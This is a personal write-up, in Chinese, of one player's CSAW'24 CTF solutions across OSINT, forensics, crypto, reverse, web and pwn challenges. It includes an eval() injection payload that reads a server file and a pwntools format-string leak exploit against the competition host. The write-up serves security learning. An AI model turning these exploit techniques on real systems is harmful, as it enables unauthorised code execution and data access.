Skip to main content

CSAW'24 CTF Writeup

·2 mins· loading · loading · ·
hokak
Author
hokak
need more sleep
Table of Contents

intro
#

ranking
#

image
總排名193/1184|TOP 16%

solves
#

Categorysolves
Intro2/3(feedback沒寫)
OSINT2/4
Forensics2/5
Web1/5
Crypto3/5
Pwn3/4
Reverse2/4

這次比賽只有我一個人,再次體會到團隊合作的重要性
題目沒有很難,也有可能是我解德剛好都不難 BTW這次比賽有睡爽爽,肝一下有可能爬到前百

INTRO
#

flag
#

image
image
但有人不解,什麼諧咖

OSIRIS Trivia
#

image

wayback machine 找之前的存檔

OSINT
#

Rickshaw
#

image

車牌77 CD-xxx,CD代表有外交任務,77代表美國
U.S. Embassy & Consulates in India找電話號碼

Authentic Chinese Food
#

image

image

從電話號碼718-875得知位置為Brooklyn, New York

  1. 找到當地的Panda Express
  2. NYC Department of Health and Mental Hygiene找衛生評級
  3. NYC Property Information PortalYear Builtllc

Forensics
#

ZipZipZip
#

image

題目給的chalenge.zip,包了很多層zip+txt 檔案結構大概長這樣

challenge
├── chunk_0
│   ├── chunk_0.txt
│   ├── chunk_1
│   │   ├── chunk_1.txt
│   │   ├── chunk_2
│   │   │   ├── chunk_2.txt
│   │   │   └── chunk_3.zip
│   │   └── chunk_2.zip
│   └── chunk_1.zip
└── chunk_0.zip

但每個chuck_##.txt都只有五個字元,可以利用這點讀出所有字元

image
一個檔案在這個zip格式大概為檔名|內容|504B
image
取前十個字元base64 decode可以得知這是一張圖片的base64

solve:

import base64

s = open('challenge.zip', 'rb').read().split(b'.txt')[1:]
flag = b"".join([x[:5] for x in s])
open('flag.png', 'wb').write(base64.b64decode(flag))

flag.png:

image

The Triple Illusion
#

image
plaintext:
image

key:

image

solve:

plaintext = "csawctf{heres_anew_key_decrypt_the_secretto_reveal_flag}"
key = [0,0,0,0,0,0,0,0,15,23,23,4,7,0,22,1,23,28,0,18,10,12,0,7,23,2,17,18,21,16,0,0,0,0,0,28,7,16,17,16,6,17,11,0,1,0,21,23,4,24,0,0,0,0,0,0]

for (ch, ch2) in zip(plaintext, key):
    print(chr((ord(ch)^ch2)),end="")

解是用xor,可以從plaintext的字元分布和key得知這兩者的關係
另外這題其實有三張圖片,有一張藏了vigenere cipher
但沒有用到解出來的資訊

Web
#

Playing on the Backcourts
#

image

題目的app.py有eval(),利用他開啟leaderboard.txt(題目要求 )
payload:open(leaderboard_path, 'r').read()
==注:賽後題目連結掛了,沒實際截圖==

Crypto
#

Trapdoor
#

from Crypto.Util.number import long_to_bytes, GCD
c1 = 303135796212555524279246573902478466434668217093546174680188235179057490491567473700120780102242009132103258508861486434415180823527955099967761217116349255542170598035252007386938049207815599595446898483965896318999163451327331078078222461159124295427725319096144123597554777586957979868444674275889889844032174888734978810757381148576980597387087054100968752977308860522457902588682074271109316333433256639990524116155937375917691984587952422148443784463343758327600719630349711698888298784945165573146249574661292447746934401167219320522948251442094538198108317569766073873733715196594572438686070303424017394902382093899765518500483375456912409097537955914052714322746314137960293312838915565869071605155935644478996344290292865819278674982079257062718982942611077051220570396851353684880714275636550356149610683653718033949374671376446552695669216994087720088804557425225900737145094882031616103378878538121913250609632802433851115524402329496182016641849196645450203369856549243934741848598773875346669657888813923243297096273166067843490617097664952249302907248385981657386549425150606813818575526156807496438444686156127519692376856599876276294335897476875870006918535394383682369081298573978241442661476323352300777091182989
c2 = 495857475060520388524171972560562329613974853400983822020845888925730491600062430518172516899260704264560273781934223594302859722530534832340660062529848264990086782051303987790503975423180262299331338615407534533214682113133599329293031129085100449577992934518434344656657494285931938564813850628647927736024583131744532009049044693917571326537857384102056783307220756946741412271768559975747252067027985539444943113529028970650318126952304374213699662922237891802823976468380268943050107475055909459355423686208238246597053465755603350070481628534681615531080212087446170332283155265359882706315659670116316266081501682694077818665850673103109986674113042710753378454481553052577850617521346621778611947759859049949511238712479205224753501152768840659660348125732219509602068105609818744217345793400652546782588924616710717604789311834310946503565014125112936386821830814255281895686800886900005134607852450727343155282371024191291186227931359848093297797055981177703223050327072826245731656444970746670962178893596866749248985055819064026711206591064102568684210270239031311552084894623247525907933925015980322475751964290174523048766068652767848785157128558417911661948655949158005943910504885480428658407000419115833416727420060
e = 65537
n1 = 849335341290886685305469218391857707731284340958190419070185843136010157709429053610422484475132681533748719098278969826215644874339472967353132551879455362882996907567507113593506825753079778590426114664641480816600384751471656645291232769230937136910355259284237110429149485567788006502323613635933685865306368710784061314928154920731534552117321317277211567493110152566489842583624729165341328622863262200606012259883201617700955694695922994087859464481658597983611169234466124699760530832690946886672455760158700223782288051380457731164725645861312489664513789670524826747778520365562211927266455463083486309711423210020471808741823123222068864708556581964581065834988620566447012299912244270348094665860535141932228229489208553114464044014430205989899364599981035118586030905442204839171480278940939019668106564678143657774136844418987220537475593181825555444917027626563850710659384061650161954669583365646428622075935490337721802367242209967740698482568921310122475447746639557770945332710012170102525879752975818050520509857439519049644785825032104077215376906019647567250546984958145151649505898444718072843209364124945650856086793772364425465519611908098951364026287867524069822425347155753599639554767185278129507433506309
n2 = 603523566530333849178340428498944902666363745873836128019046104968850160788559626859110536807737092301279190275717524103231817119850380847226716405338227641758799619075339058107790224618949070936355847696512320584610781171628029295879025358995297274114650904664397977445850692346888664395462514491694005594326981267020658004853078220869498716454480503670832534655687832674317698341533791287606520109612425394700304038251923496303824119858678564161604483027565550190673989872119144198248907235642586281776334255518772240197897432768870606595017185449736217266994920355907164372528751413042250719701199348091884608946014594175762002630845986429797454686315898064893067919327646448166242760968074216672400981626176888822037453360011497389835122764853203956625199041071100777042750119671525508293375356678113231545760621792785884810027728859682751883206526242837955866065528264740145465244712713969196077012700370049597156003550177262301319126400428989863912190142334126607178261626969803469625974325630891730058651069671841464378913213797770918193912221804892109419238634557345136168738280281615754564955678609409321720136879847520102473459064293144553235291623089686442091239836122526756636264103227262956791809160643363991596481281713

def rsa_decrypt(c, p, q):
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    return long_to_bytes(pow(c, d, p * q))

p = GCD(n2, n1)
q1 = n1 // p
q2 = n2 // p

print(rsa_decrypt(c1, p, q1))
print(rsa_decrypt(c2, p, q2))

n1和n2有公因數,直接分解

Diffusion Pop Quiz
#

image

這題他給了一個script,主要是在描述透過sbox擴散(diffusion)
題目是問答題,只要達成他給的問題(實際執行一次)就可以拿到flag

AES Diffusion
#

image

跟上題一樣,是要學AES diffusion
||弄一弄就有flag了…||

Reverse
#

Baby Rev
#

image

螢幕擷取畫面 2024-09-10 012737
點點點就找到了
拿去base64 decode

Magic Tricks
#

image

逆向加密過程的題目
把一段文字丟進去會得到一段亂碼叫做output.txt
所幸相同相同輸入字元->相同輸出字元
只是輸出的字元編碼不是ascii
但utf8可以用

解題過程:

  1. 程式中輸入所有可視字元,因為我們知道flag只可能用ascii可視字元組成
  2. 用python read output作為對照表
alphabet = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
output = open('output.txt', 'r', encoding="utf-8").read()
cipher = open('cipher.txt', 'r', encoding="utf-8").read() #I renamed challenge's output.txt to cipher.txt

flag = "".join(alphabet[output.index(ch)] for ch in cipher)
print(flag)

Pwn
#

Diving Into Null
#

image
image
一個壞掉的bash,沒有lscat,所以要自己手刻一個:
ls:

for f in *; do
        echo "File -> $f";
    done

ls -a:

for f in *; do
        echo "File -> $f";
    done

reference

cat filename:

echo $(<filename)

然後在~/
執行剛剛手刻的ls -a,可以看到.flag
再執行

echo $(<.flag)

就可以得到flag了,||這什麼怪題||

Mini Golfing
#

image
image

這題有開ASLR,不能亂跳
可以利用printf找到main的位置,然後算offset

solve:

from pwn import * 

# context.arch = 'amd64'
# context.terminal = ['tmux', 'splitw', '-h']
# 
# r = process('golf')
# gdb.attach(r)
r = remote('golfing.ctf.csaw.io', 9999)

r.sendlineafter(b'? ', b'%171$p')
r.recvuntil(b'hello: ')
start_addr = int(r.recvline().strip(),16)
win_addr = start_addr - 0x223 + 0x209

print(hex(win_addr))
r.sendlineafter('aim at!:', hex(win_addr))
r.interactive()

Nix Philosophies
#

image
image

看起來像是用C++的字串來混淆
但程式功能如下:

  1. 輸入字串
  2. sum(自己取的) = 從第二個字元開始後的每個字元ascii相加
  3. read(sum - 1603, buf, 32)

解法:
fd(0)是stdin,所以就可以控制buf
aaaaaaaaaaaaaaaaa3的sum=1603 -> fd是0
輸入make every program a filter

就可以得到flag了,這次比賽都沒正常的pwn:(